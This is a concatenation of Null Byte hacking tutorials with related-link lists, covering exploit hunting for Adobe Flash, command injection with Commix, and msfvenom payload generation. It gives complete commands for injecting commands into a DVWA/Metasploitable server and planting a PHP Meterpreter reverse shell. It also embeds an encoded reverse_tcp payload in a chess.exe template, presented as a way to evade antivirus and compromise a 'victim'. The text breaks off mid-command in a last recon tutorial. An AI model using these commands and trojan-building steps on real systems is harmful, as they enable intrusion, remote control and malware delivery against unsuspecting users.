Architecture of MetasploitHow To:Run an VNC Server on Win7Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:Install Adobe Flash Player on Your Nexus 7 Running Android 4.4 KitKatHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxAdvice from a Real Hacker:How to Protect Yourself from Being HackedHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:Hack Android Using Kali (Remotely)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:amend Adobe Flash SettingsNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:Use trashing preferences in Final Cut Pro
Hack Like a Pro: How to Find Almost Every Known Vulnerability & Exploit Out There Β« Null Byte :: WonderHowTo
Welcome back, my nascent hackers!Earlier, I wrote a guide onfinding operating system and application vulnerabilitiesin Microsoft's own security bulletins/vulnerability database. In this tutorial, I will demonstrate another invaluable resource for finding vulnerabilities and exploits by using theSecurityFocusdatabase.Most often, when we're trying to hack a system, the vulnerabilities and exploits that will work on the target are not going to be simply handed to us, like I have done in these tutorials. We need to do a bit of research to find what will work on a particular target system. After runningreconnaissance on the system, we can determine what operating system is running, what ports are open, and what services are running. From there, we need to decide upon the best strategy to compromise the system without being detected. That's not always going to be obvious or simple.We most likely will have to do a little research first to find the proper vulnerability on the target system and then find an exploit to take advantage of it. In this tutorial, we'll look at one of the most complete and helpful resources in finding vulnerabilities and exploits.Step 1: Navigate to SecurityFocusLet's start by navigating towww.securityfocus.com. It should look like this.We can see that the SecurityFocus database has some handy tools for searching for vulnerabilities. It will allow us to search by vendor, by title of the software and by the version. Finally, it will allow us to search by CVE, which is the Common Vulnerability and Exploit number. These numbers are assigned by Mitre Corporation, who is funded by the National Cyber Security Division of the U.S. Homeland Security.Step 2: Searching for VulnerabilitiesThe CVE database includes nearly every vulnerability that has been found in the wild or discovered by security researchers, even if the software publisher doesn't want it known or hasn't patched it yet.For instance, Adobe has had a very bad run in recent years with poorly designed software that's full of security vulnerabilities. These include such ubiquitous software as Adobe Reader, Adobe Flash, etc. Since nearly every client-side computer system has Adobe Flash or Reader installed on it, let's take a look at the known vulnerabilities to these applications.Let's look at Adobe Flash. Simply select Adobe in the pull-down menu of vendors and then select Flash Player from the pull-down in the title window. Finally, click on the submit button and the system will return pages of Adobe Flash Player vulnerabilities.The very first vulnerability to appear isAdobe Flash Player APS813-17 Multiple Remote Code Execution Vulnerabilies. This is a brand new vulnerability just published July 9, 2013. Woohoo!Even better, it allows for "remote code execution," or in other words, it will allow for the installation of a listener/rootkit on the system running Flash Player. If we scroll down, we see that this vulnerability is included in the Android Flash Player 11.1.102.59 and nearly every version of Adobe Flash Player right up to 11.2.202.235. Since the current version of Adobe Flash Player is 11.8, this would mean that unless the user has updated their Flash Player very recently, this vulnerability exists on their system.Step 3: Finding ExploitsNow that we've found a vulnerability that virtually every PC will have, the next step is to find an exploit. A vulnerability is simply a weakness or hole in the system thatcanbe exploited, it does not necessarily mean ithasbeen exploited. Developing an exploit requires some advanced coding skills, but is not beyond the capability of a talented, aspiring hacker.To find the exploit for this vulnerability, we simply need to click on theEXPLOITtab at the top of the page. This will open that tab and reveal any and all exploits that have been developed for that vulnerability. When we do that for this brand new vulnerability, we can see that no one has yet developed the exploit.So....all my newbie hackers, here is your opportunity to make your name and develop an exploit for this brand new vulnerability!Step 4: More Adobe Flash VulnerabilitiesWe can see that SecurityFocus has over four pages of vulnerabilities for Adobe Flash alone. This doesn't count all the other Adobe products that are almost as flawed as Flash Player. Do you have any question in your mind now why Apple banned Flash Player from its iOS?Let's take a look at some of the other Flash Player vulnerabilities. If we scroll down a bit, we come to a vulnerability calledAdobe Flash Player CVE-2012-0754. That one sounds interesting, let's click on it.We can see that it was published just last year ago in February 2012 and was updated just last June 2013. If we look down a bit, we can see all the browsers and operating systems that are vulnerable when running Flash Player.Now, if we click on the Exploit tab, we can see that an exploit is available and we can get it through clicking on the link.Step 5: Finding the Exploit for Use in MetasploitFinally, we can go toBackTrackand openMetasploit. There we can search for this exploit search for this exploit.msf> search adobe flash mp4We can see that Metasploit has incorporated this exploit into its latest version and updates and is ready for us to use to own nearly any system (XP, Vista, and Windows 7 SP1) running Adobe Flash!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRed mapandNetwork accessphotos via ShutterstockRelatedHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:How to Hack the Shellshock VulnerabilityNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Find the Latest Exploits and Vulnerabilitiesβ€”Directly from MicrosoftHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)News:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000The Panama Papers Hack:Further Proof That Hacking Is Changing the WorldHow To:Hack WPA WiFi Passwords by Cracking the WPS PINNews:The DEA Spent $575,000 of Your Tax Dollars on Zero-Day ExploitsHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHack Like a Pro:How to Scan for Vulnerabilities with NessusHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Best Hacking SoftwareNews:Day 2 Of Our New WorldHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesHardest Feat in Sports:The Science of a Penalty Kick
How to Use Commix to Automate Exploiting Command Injection Flaws in Web Applications Β« Null Byte :: WonderHowTo
The ability to execute system commands via a vulnerable web application makescommand injectiona fruitful attack vector for any hacker. But while this type of vulnerability is highly prized, it can often take quite a bit of time to probe through an entire application to find these flaws. Luckily, there is a useful tool calledCommixthat can automate this process for us.What Is Commix?Commix, which is a portmanteau of command injection exploiter, is an open-source tool used to test web apps for command injection-based vulnerabilities and bugs. It isautomated, making it very easy to identify vulnerable parameters in a fraction of the time it would take to do so manually.Commix is written inPython, meaning that it can run onLinux,Mac, andWindows. In addition, it is also conveniently included in the official repositories ofKali Linux,BlackArch, andParrot Security OS. Everything works right out of the box, and there is even support for custom module development in order to expand the core functionality of this tool.There are a ton of options available for use, including the ability to specify parameters used to connect to the host,target enumeration, file access and modification, and even an offline mode. All of this functionality makes Commix an extremely useful asset when trying to exploit command injection.In this tutorial, we will be using Commix, and later,msfvenomandMetasploit, to exploit command injection flaws inDVWA.Method 1: Basic UsageTo get started, open DVWA and log in using the default credentials.Next, navigate to the "DVWA Security" tab, and set the security level to "low." This will ensure everything works smoothly when exploiting this web application.Now, go to the "Command Execution" tab, which is our point of interest for Commix.You need the cookie that contains the session ID and security level in order for this tool to run successfully. Use the "Inspect Element" tool in your browser to view the request, click on "Network," and finally "Raw headers" to view the information.In the terminal now, we can typecommix -hto display the help with all the different options this tool has to offer.root@drd:~# commix -h Usage: commix [option(s)] Options: -h, --help Show help and exit. General: These options relate to general matters. -v VERBOSE Verbosity level (0-4, Default: 0). --version Show version number and exit. --output-dir=OUT.. Set custom output directory path. -s SESSION_FILE Load session from a stored (.sqlite) file. --flush-session Flush session files for current target. --ignore-session Ignore results stored in session file. -t TRAFFIC_FILE Log all HTTP traffic into a textual file. --batch Never ask for user input, use the default behaviour. --encoding=ENCOD.. Force character encoding used for data retrieval (e.g. GBK). --charset=CHARSET Time-related injection charset (e.g. "0123456789abcdef") --check-internet Check internet connection before assessing the target. Target: This options has to be provided, to define the target URL. -u URL, --url=URL Target URL. --url-reload Reload target URL after command execution. -l LOGFILE Parse target from HTTP proxy log file. -m BULKFILE Scan multiple targets given in a textual file. -r REQUESTFILE Load HTTP request from a file. --crawl=CRAWLDEPTH Crawl the website starting from the target URL (1-2, Default: 0). -x SITEMAP_URL Parse target(s) from remote sitemap(.xml) file. Request: These options can be used to specify how to connect to the target URL. -d DATA, --data=.. Data string to be sent through POST. --host=HOST HTTP Host header. --referer=REFERER HTTP Referer header. --user-agent=AGENT HTTP User-Agent header. --random-agent Use a randomly selected HTTP User-Agent header. --param-del=PDEL Set character for splitting parameter values. --cookie=COOKIE HTTP Cookie header. --cookie-del=CDEL Set character for splitting cookie values. -H HEADER, --hea.. Extra header (e.g. 'X-Forwarded-For: 127.0.0.1'). --headers=HEADERS Extra headers (e.g. 'Accept-Language: fr\nETag: 123'). --proxy=PROXY Use a HTTP proxy (e.g. '127.0.0.1:8080'). --tor Use the Tor network. --tor-port=TOR_P.. Set Tor proxy port (Default: 8118). --tor-check Check to see if Tor is used properly. --auth-url=AUTH_.. Login panel URL. --auth-data=AUTH.. Login parameters and data. --auth-type=AUTH.. HTTP authentication type (e.g. 'Basic' or 'Digest'). --auth-cred=AUTH.. HTTP authentication credentials (e.g. 'admin:admin'). --ignore-401 Ignore HTTP error 401 (Unauthorized). --force-ssl Force usage of SSL/HTTPS. --ignore-redirects Ignore redirection attempts. --retries=RETRIES Retries when the connection timeouts (Default: 3). ...We will be using the following options.The-uflag to define the target URL.The--cookie=option to set the appropriate cookie information.The--data=option to specify the POST request string.commix -u http://172.16.1.102/dvwa/vulnerabilities/exec/ --cookie='PHPSESSID=ba245268c2d2c08a209bf7db8bd004a0; security=low' --data='ip=127.0.0.1&submit=submit'The tool will start and display a banner with some version information, followed by some on-screen messages displaying the current status. We can see it finds a parameter that is vulnerable to command injection and asks us if we want a Pseudo-Terminal shell./`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ v2.6-stable /\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </ \ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ http://commixproject.com \/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject) +-- Automated All-in-One OS Command Injection and Exploitation Tool Copyright (c) 2014-2018 Anastasios Stasinopoulos (@ancst) +-- [*] Checking connection to the target URL... [ SUCCEED ] [!] Warning: Heuristics have failed to identify target application. [*] Setting the POST parameter 'ip' for tests. [!] Warning: The estimated response time is 10 seconds. That may cause serious delays during the data extraction procedure and/or possible corruptions over the extracted data. [*] Testing the (results-based) classic command injection technique... [ SUCCEED ] [+] The POST parameter 'ip' seems injectable via (results-based) classic command injection technique. [~] Payload: ;echo OOIVXD$((89+59))$(echo OOIVXD)OOIVXD [?] Do you want a Pseudo-Terminal shell? [Y/n] >If we pressY, it drops us into an interactive command shell. We can now issue commands likewhoamianduname -ato view information about the server.Pseudo-Terminal (type '?' for available options) commix(os_shell) > whoami www-data commix(os_shell) > uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxThis is indeed useful, but we're somewhat limited in what we can do. Luckily, there is a way to combine the functionality of Commix with the powerful msfvenom to ultimately get aMeterpretersession on the target.Method 2: Upload Reverse ShellCommix has a function that allows us to write files on the target system. We will be placing areverse shellon the target that will call back to our attacking machine, but before we do that, we need to create the payload.Msfvenom is a payload generator which replaced both msfpayload and msfencode back in 2015. This single tool can be used to create payloads while operating outside of the Metasploit Framework.Use themsfvenomcommand with the following options.The-pflag to specify the payload.Uselhostto set the listening host address.Uselportto set the listening port.The-eflag to specify the encoder.The-fflag to specify the output format.Make sure to type>to write to the filepayload.php.root@drd:~# msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.1.100 lport=4321 -e php/base64 -f raw > payload.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 1507 (iteration=0) php/base64 chosen with final size 1507 Payload size: 1507 bytesWe see that the payload was successfully created. Now, we just need to add the PHP tags to our file. Typenano payload.phpand add<?phpat the beginning of the file and?>at the end of the file. PressCtrl-X,Y, andEnterto save.Now, we need to open a handler on our machine in order to catch the session that will be opened on the target. In a new terminal window, fire up Metasploit by typing themsfconsolecommand. Once loaded, typeuse exploit/multi/handlerto utilize the all-purpose handler.Next, set the payload, listening address, and port that we specified in our file earlier.msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 172.16.1.100 lhost => 172.16.1.100 msf exploit(multi/handler) > set lport 4321 lport => 4321Once those are set, launch the handler by typingrun, an alias for exploit.msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.1.100:4321Back in our other terminal, we can run Commix just like we did before, with a few extra options to get our payload onto the target.The--file-writeoption to specify the file we want to use on our local machine.The--file-destoption to set the destination on the target.The--os-cmdoption to specify the command to run once the file is written to the target.commix -u http://172.16.1.102/dvwa/vulnerabilities/exec/ --cookie='PHPSESSID=ba245268c2d2c08a209bf7db8bd004a0; security=low' --data='ip=127.0.0.1&submit=submit' --file-write='/root/payload.php' --file-dest='/var/www/payload.php' --os-cmd='php -f /var/www/payload.php'This will allow our payload to be executed and a session to be caught by our handler if everything works properly. Commix will run for a bit and, eventually, we can see that our file was successfully created on the target.... [*] Testing the (results-based) classic command injection technique... [ SUCCEED ] [+] The POST parameter 'ip' seems injectable via (results-based) classic command injection technique. [~] Payload: ;echo YJOSPV$((42+12))$(echo YJOSPV)YJOSPV [+] The /var/www/payload.php file was created successfully!Now, back in the other terminal, we can see that a Meterpreter session was indeed opened. We can now run commands likegetuidandsysinfoto view information about the target.[*] Sending stage (37775 bytes) to 172.16.1.102 [*] Meterpreter session 1 opened (172.16.1.100:4321 -> 172.16.1.102:40115) at 2018-10-18 11:29:19 -0500 meterpreter > getuid Server username: www-data (33) meterpreter > sysinfo Computer : metasploitable OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 Meterpreter : php/linuxThese are similar results to what we achieved earlier by using Commix on its own, but now that we have a Meterpreter session there is a lot more flexibility to what we can ultimately do.ConclusionCommand injection vulnerabilities are highly sought after by hackers due to the potential power they wield over the target system. Commix is an extremely useful tool that is designed to automate finding and exploiting these vulnerabilities, making life a little easier for the hacker.In this guide, we learned some basic usage options. In addition, we saw how to combine msfvenom with Commix to upload a payload to the target and get a shell. This flexibility makes Commix an excellent addition to anyhacker's arsenal.Don't Miss:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byjarmoluk/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Exploit Remote File Inclusion to Get a ShellAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Hack Apache Tomcat via Malicious WAR File UploadHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack with Hacme ShippingHow To:Perform Directory Traversal & Extract Sensitive InformationSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)SQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHow To:Use export plug-ins in ApertureHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)How to Hack Like a Pro:Getting Started with MetasploitIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow Null Byte Injections Work:A History of Our NamesakeHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Hack Mac OS X Lion PasswordsHow To:10+ Time Saving Menu Bar Applications for MacRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 5 (Msfvenom) Β« Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!Eluding andevading antivirus softwareand intrusion detection systems is one of the most critical tasks of the hacker. As soon as a new exploit is developed and discovered, the AV and IDS developers build a signature for the attack, which is then likely to be detected and prevented.One obvious way around this problem is to develop your own exploits, and that is what we have begun to do in ourExploit Buildingseries. Another potential method is to change the encoding, thereby changing the signature of the exploit and/orpayload.Previously, to re-encode a payload inMetasploit, you had to pipe msfpayload through the msfencode command as shown inthis tutorial. Recently, Rapid7, the developers of Metasploit, introduced a new command that takes the place of the clunky combination of msfpayload and msfencode to streamline the process of re-encoding a Metasploit payload. Let's take a look at it in this guide.A Quick Note About Re-Encoding PayloadsRe-encoding a Metasploit payload used to work for evading AV and other security devices, but the people who develop AV software are not dumb. They have now found ways to detect even a re-encoded payload from Metasploit.Now, rather than just look for the signature of the payload you have encoded, they simply look for the signature of the template that Metasploit uses to re-encode. In this way, no matter how many different encoding schemes you use, the template is the same and the AV software has its signature.Don't fret though, there are still ways to re-encode a payload that are still undetectable by AV software. I will be starting a new series soon on evading AV software where I will demonstrate many of the ways, so stay tuned for that.Step 1: Fire Up Kali & Start MetasploitLet's start by firing upKaliand opening the msfconsole. You can do that by simply typing "msfconsole," or you can use the GUI and go to Applications -> Kali Linux -> Top 10 Security Tools -> Metasploit Framework. When you do so, you will find yourself in this interactive Metasploit shell.Step 2: See the Msfvenom OptionsNow, at the prompt, type "msfvenom" to pull up its help page (you can also use the-hswitch).msf > msfvenomLet's take a look at some of the most important options in this list.-pdesignates the Metasploit payload we want to use-edesignates the encoder we want to use-adesignates the architecture we want to use (default is x86)-sdesignates the maximum size of the payload-idesignates the number of iterations with which to encode the payload-xdesignates a custom executable file to use as a templateStep 3: List the EncodersEncoders are the various algorithms and encoding schemes that Metasploit can use to re-encode the payloads. Metasploit has numerous encoding schemes, and we can look at these by typing:msf > msfvenom -l encodersMetasploit will then list all of the available encoders with each's rank and description. Below, I have highlighted theshikata_ga_naiencoder that we used in aprevious tutorial. Note thatshikata_ga_naiis ranked "excellent."Step 4: View the Payload OptionsWe can use msfvenom to check the options that we need to set for any payload similar to "show options" in the Metasploit console. The command to check any payload's options is:msf > msfvenom -p <payload name> -oSo, if we want to check the options for thewindows/meterpreter/reverse_tcppayload, we simply type:msf >msfvenom -p windows/meterpreter/reverse_tcp -0When we do so, Metasploit responds like below.So, if we want to work with this payload, we now know what options we need to set in the msfvenom command.Step 5: Create a Custom Windows ExecutableNow, let's create a custom Windows executable with a custom template. Although we can create a payload without a custom template, we have a better chance of getting past security devices and AV if we use a custom template. In this case, we will use a chess game named "chess.exe." The idea here is that we will embed the meterpreter payload into the chess game and then, when the victim opens the game to play chess, it will open a meterpreter session on our system.I have placed the chess game in the/usr/sharedirectory.To create a malicious executable with thewindows/meterpreter/reverse_tcpembedded inside, we simply type:msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <your local IP> LPORT=<whatever port you want to listen on> -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe-p /windows/meterpreter/reverse_tcpdesignates the payload we want to embedLHOSTdesignates the local hostLPORTdesignates the port we want to listen on-xdesignates the template we want to use and the path to it-e x86/shikata_ga_naidesignates the encoder we want to use-i 200represents the number of iterations-f exedesignates we want to create an executable (.exe)chess.exedesignates the name of the file createdWhen the victim clicks on the chess.exe file, the meterpreter payload will be activated and will look to make a connection back to your system (LHOST). For the connection to succeed, you will need to open the multi-handler in Metasploit to receive the connection.msf >use exploit/multi/handlermsf > set payload windows/meterpreter/reverse_tcpThis new command in Metasploit, msfvenom, can streamline the process of re-encoding and embedding payloads, but is no guarantee for getting past AV software any longer. I will be starting a new series on evading AV software soon with the latest techniques, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover images via Shutterstock (1,2)RelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training
Advanced Penetration Testing - Part 1 (Introduction) Β« Null Byte :: WonderHowTo
Hello! My name is An0nex. I am an ethical hacker who wants to share the art of hacking with all of you guys!Reconnaissance is a big part in the hacking community.Penetration testing is most effective when you have a good grasp on the environment being tested. If you're an ethical hacker, penetration testing as a job, e.g. A company hired you to hack them and make a full summary on it, you will usually be given the average information. You will already have a map of the website down. But, sometimes, you need to get the information yourself, which is sometimes tricky.In this chapter, I will be showing you how-to perform Advanced Reconnaissance Techniques.In this chapter or however it is called here, our KEY TOPICS include:1.) What is reconnaissance and why do we need it2.) Reconnaissance types3.) Using DNS to quickly identify potential targets4.) Using search engines data5.) Using metadata to your advantageThe types of reconnaissance we will be focused on our OSINT (Open Source Intellegence) and footprinting. If you're wondering... OSINT consists of gathering, processing, and analyzing publically available data and turning it into information that is actionable.Important: This is a 'chapter' in reconnaissance but after sometime viewing at @Occupythewebotw 's page, I see he has made posts on reconnaissance already. Before I make another tutorial on this, please tell me above what you would rather like to be shown.1.) Reconnaissance2.) Remote Exploitation3.) Web Application Exploitation4.) Client-Side attacks5.) Bypassing Firewalls, Avoiding DetectionPlease tell me what you would rather like below! If no comments are made by tomorrow 6PM (My time), I'll just keep on with reconnaissance.Thank you.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:This Extensive Python Training Is Under $40 TodayHow To:Perform the Right Hand Reverse for Advanced Driving Tests in EnglandHow To:Links to Help You HackingHow To:Get a Jump Start into Cybersecurity with This BundleNews:Backtrack 5 Security EssentialsHow To:Use Ettercap plug-ins for penetration, or pen, testingIPsec Tools of the Trade:Don't Bring a Knife to a GunfightFarewell Byte:Goodbye Alex, Welcome AllenNews:Jim Winter - Palmistry - FINGERS - Pt2News:Blood Blade StarfighterSecurity Tube:Useful Video Tutorials for IT Security.News:Chloroform SurpriseHow To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationHow To:Safely Overclock Your GPU, CPU & RAM for Better Speed & Performance
How to Write Your Own Subdomain Enumeration Script for Better Recon Β« Null Byte :: WonderHowTo
There are tons of tools out there that do all kinds of recon, but it can be hard to narrow down what to use. A great way to be more efficient is by taking advantage of scripting. This doesn't have to mean writing everything from scratch β€” it can simply mean integrating existing tools into a single, comprehensive script. Luckily, it's easy to create your own subdomain enumeration script for better recon.Step 1: Install DependenciesBefore we begin, there are a few things we need to install and set up for everything to work properly. First, make sureGo and Subfinderare installed on the system. Second, we'll be using a tool calledassetfinderfor additional subdomain recon; we can get the latest release from GitHub with:~# wget https://github.com/tomnomnom/assetfinder/releases/download/v0.1.0/assetfinder-linux-amd64-0.1.0.tgz --2021-04-28 15:00:12-- https://github.com/tomnomnom/assetfinder/releases/download/v0.1.0/assetfinder-linux-amd64-0.1.0.tgz Resolving github.com (github.com)... 140.82.114.4 Connecting to github.com (github.com)|140.82.114.4|:443... connected. HTTP request sent, awaiting response... 302 Found Location: 